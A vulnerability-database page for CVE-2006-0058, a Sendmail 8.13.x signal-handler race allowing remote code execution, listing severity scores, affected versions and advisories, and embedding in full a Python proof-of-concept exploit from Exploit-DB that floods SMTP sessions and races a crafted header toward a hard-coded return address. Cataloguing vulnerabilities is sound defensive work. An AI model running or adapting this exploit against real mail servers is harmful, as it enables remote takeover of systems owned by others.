CVE-2006-0058 : Detail

CVE-2006-0058

93.4%V3
Network
2006-03-22
19h00 +00:00
2018-10-19
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Signal handler race condition in Sendmail 8.13.x before 8.13.6 allows remote attackers to execute arbitrary code by triggering timeouts in a way that causes the setjmp and longjmp function calls to be interrupted and modify unexpected memory locations.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 2051

Publication date : 2006-07-20 22h00 +00:00
Author : redsand
EDB Verified : Yes

#!/usr/bin/env python # # [email protected] # Sendmail 8.13.5 and below Remote Signal Handling exploit # usage: rbl4ck-sendmail.py 127.0.0.1 0 25 # # # this exploit was leaked to the PHC (Phrack High Council) # so instead of only letting them have a copy, we figure # everyone should have what they have. # # :-) # # several of the tested operating systems appear to crash at a static # string in memory and we were unable to shift the location of that crash. # However, Fedora gives us a nice sexy soft spot to land, one that allows us # to control the flow of code execution # this is only a proof of concept # import os, sys, socket, time, select, string, errno, threading IP="127.0.0.1" PORT=25 fromdd = "[email protected]" def_arch = 0 def_timeout = (60 * 60) * 2 # 2 hrs #def_timeout = 5 # 5 seconds domain = "localhost" total_time = None threshold = 2.5 guess_timeout = 4.0 threads = 40 arch = [ { 'OS':'Debian 3.0-r1', 'offset':190, 'pad':28, 'return':0xbfbfdad1L } ] argc = len(sys.argv) if(argc > 1): IP = sys.argv[1] if(argc > 2): def_arch = int(sys.argv[2]) if(argc > 3): PORT = int(sys.argv[3]) def ia32(o): s='' w=chr(i % 256) o = o >> 8 x=chr(i % 256) o = o >> 8 y=chr(i % 256) o = o >> 8 z=chr(i % 256) s = "%c%c%c%c" % (w,x,y,z) return s def substr(i, str, off): top=i[:off] end=i[off+len(str):] s = top + str + end return s def rout( str): print ("[bl4ck]: " + str) def mbanner(): rout("Sendmail 8.13.5 and below Remote Signal Handling exploit by [email protected]") rout("Supported Operating Systems:") p = 0 for i in arch: rout("{%r} %s" % (p, i['OS'])) p += 1 def rsend( s, str, p=True): sent = s.send(str ) #sent = s.send(str + "\r\n") if sent == 0: rout("socket send() failed") if(p): rout("Sent Request: \r\n\r\n%s\r\n" % str) def probe(sock): str = "HELO blacksecurity.org\r\nMAIL FROM: <%s>\r\nRCPT TO: root@%s\r\nDATA\r\n" % (fromdd,domain) rsend(sock,str) def payload(size=32764): ret = "\x7f" * size i = 0 while i < size : ret = substr(ret,": ",100 + i) ret = substr(ret,"\r\n",200 + i) i += 202 ret += "\r\n" return ret class rSendmail( threading.Thread) : thres = threshold do_exit = False btime = None etime = None state = 0 total_time = 0 def __init__(self, thresh=0): if not thresh == 0: self.thres = thresh threading.Thread.__init__ ( self ) def rrecv(self,s, response=None): buf = '' try: buf = s.recv(2048) except socket.error, (ecode, reason): #rout("Socket failure %r:%s" % (ecode, reason)) return False if buf == '': return False rout("Reading response: \r\n\r\n%s\r\n" % buf[0:-2]) msg = buf[0:-2].split("\r\n") for m in msg: k = m[0:3] if (k != None) and (k != '') and (k != "\x7f\x7f\x7f"): code = int(m[0:3]) else: code = 0 if( code == 354 and self.state == 0 ): self.btime = time.time() self.state += 1 return True elif( code == 451 and self.state == 1): self.etime = time.time() self.state += 1 return True elif( code == 451 and self.state == 4): self.state += 1 return True elif( code == 354 and self.state == 3): self.state += 1 return True if (self.state == 5): self.state += 1 rout("Debug error, unable to escalate state") self.stop() return False if(response != None): rsend(s,response) def stop(self): self.do_exit = True def run (self ): rout("Connecting to %s:%r" % (IP,PORT)) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setblocking(0) # non-blocking 0hn0 try: sock.connect((IP, PORT)) except socket.error, (ecode, reason): if ecode in (115, 150): pass else: rout("Error %r:%s" % (ecode,reason)) return ret = select.select([sock],[sock],[], def_timeout) if len(ret[1]) == 0 and len (ret[0]) == 0: sock.close() rout("Timed out on connect") return rout("Setting non-blocking options with a default timeout of %r seconds" % def_timeout) xplbuf = "\xAF\xBE\xAD\xDE" probe1 = False probe2 = False pump = False while not self.do_exit: readsock, writesock, err = select.select([sock],[sock],[], def_timeout) if len(readsock) > 0: for s in readsock: self.rrecv(s) if len(writesock) > 0: for s in writesock: if(self.state == 0): if not probe1: probe(s) # rsend(s,"HELO") probe1 = True break if(self.state == 1): if not pump: pump = True time.sleep(guess_timeout - (0.9)) rsend(s,payload(32764) + "\r\n", False) rout("Sending heavy load") break if(self.state == 2): # measure timeout # wait = end - start # where end is time of code 451 & start is 354 go ahead self.total_time = (self.etime - self.btime) + self.thres #self.total_time = (self.etime - self.btime) self.state += 1 if(self.state == 3): if not probe2: rsend(s,"\n") probe(s) probe2 = True break if(self.state == 4): ## race here # send bad header # lets wait rsend(s, xplbuf + "\r\n") rout("Sleeping...") time.sleep(self.total_time) rsend(s, xplbuf + "\r\n") rout("Sent race-request") self.state = 5 break if(self.state == 5): rout("State reached stage: %r" % self.state) rout("Total wait time: %s" % self.total_time) self.stop() break self.stop() return mbanner() t_list = [] t = threshold opc = 0 while threading.activeCount() < threads: opc += 1 rout("Starting Thread: %r with time+offset: %r" % (opc, t)) m = rSendmail(t) m.start() t += 0.2 time.sleep(5) sys.exit(5) # success ?? """ buf = "" atom = "\\\xff" * int(arch[def_arch]['pad']) idx = 256 * 4 newtag=substr(xpl[idx:],ia32(arch[def_arch]['return']), int(arch[def_arch]['offset'])) xpl=substr(xpl, newtag, idx) xpl=substr(xpl,atom,len(xpl)) """ # milw0rm.com [2006-07-21]

Products Mentioned

Configuraton 0

Sendmail>>Sendmail >> Version 8.13.0

Sendmail>>Sendmail >> Version 8.13.1

Sendmail>>Sendmail >> Version 8.13.2

Sendmail>>Sendmail >> Version 8.13.3

Sendmail>>Sendmail >> Version 8.13.4

Sendmail>>Sendmail >> Version 8.13.5

References

http://www.vupen.com/english/advisories/2006/1529
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/19450
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2006/dsa-1015
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.mandriva.com/security/advisories?name=MDKSA-2006:058
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.openbsd.org/errata38.html#sendmail
Tags : vendor-advisory, x_refsource_OPENBSD
http://www.kb.cert.org/vuls/id/834865
Tags : third-party-advisory, x_refsource_CERT-VN
http://secunia.com/advisories/19342
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/1049
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/19774
Tags : third-party-advisory, x_refsource_SECUNIA
http://sunsolve.sun.com/search/document.do?assetkey=1-66-200494-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/19404
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/19367
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/1051
Tags : vdb-entry, x_refsource_VUPEN
http://securityreason.com/securityalert/743
Tags : third-party-advisory, x_refsource_SREASON
http://securitytracker.com/id?1015801
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/19363
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.us-cert.gov/cas/techalerts/TA06-081A.html
Tags : third-party-advisory, x_refsource_CERT
http://secunia.com/advisories/20723
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20243
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/19407
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/2189
Tags : vdb-entry, x_refsource_VUPEN
http://www.iss.net/threats/216.html
Tags : third-party-advisory, x_refsource_ISS
http://secunia.com/advisories/19466
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/19368
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ciac.org/ciac/bulletins/q-151.shtml
Tags : third-party-advisory, government-resource, x_refsource_CIAC
http://secunia.com/advisories/19345
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/612
Tags : third-party-advisory, x_refsource_SREASON
http://secunia.com/advisories/19346
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.gentoo.org/security/en/glsa/glsa-200603-21.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.vupen.com/english/advisories/2006/1068
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2006-0265.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.vupen.com/english/advisories/2006/2490
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2006/1072
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/archive/1/428656/100/0/threaded
Tags : vendor-advisory, x_refsource_FEDORA
http://secunia.com/advisories/19360
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/19532
Tags : third-party-advisory, x_refsource_SECUNIA
http://sunsolve.sun.com/search/document.do?assetkey=1-26-102324-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/19361
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/19676
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/19356
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.osvdb.org/24037
Tags : vdb-entry, x_refsource_OSVDB
http://secunia.com/advisories/19349
Tags : third-party-advisory, x_refsource_SECUNIA
http://sunsolve.sun.com/search/document.do?assetkey=1-26-102262-1
Tags : vendor-advisory, x_refsource_SUNALERT
http://secunia.com/advisories/19394
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/1139
Tags : vdb-entry, x_refsource_VUPEN
http://www.vupen.com/english/advisories/2006/1157
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/19533
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/17192
Tags : vdb-entry, x_refsource_BID
http://www.redhat.com/support/errata/RHSA-2006-0264.html
Tags : vendor-advisory, x_refsource_REDHAT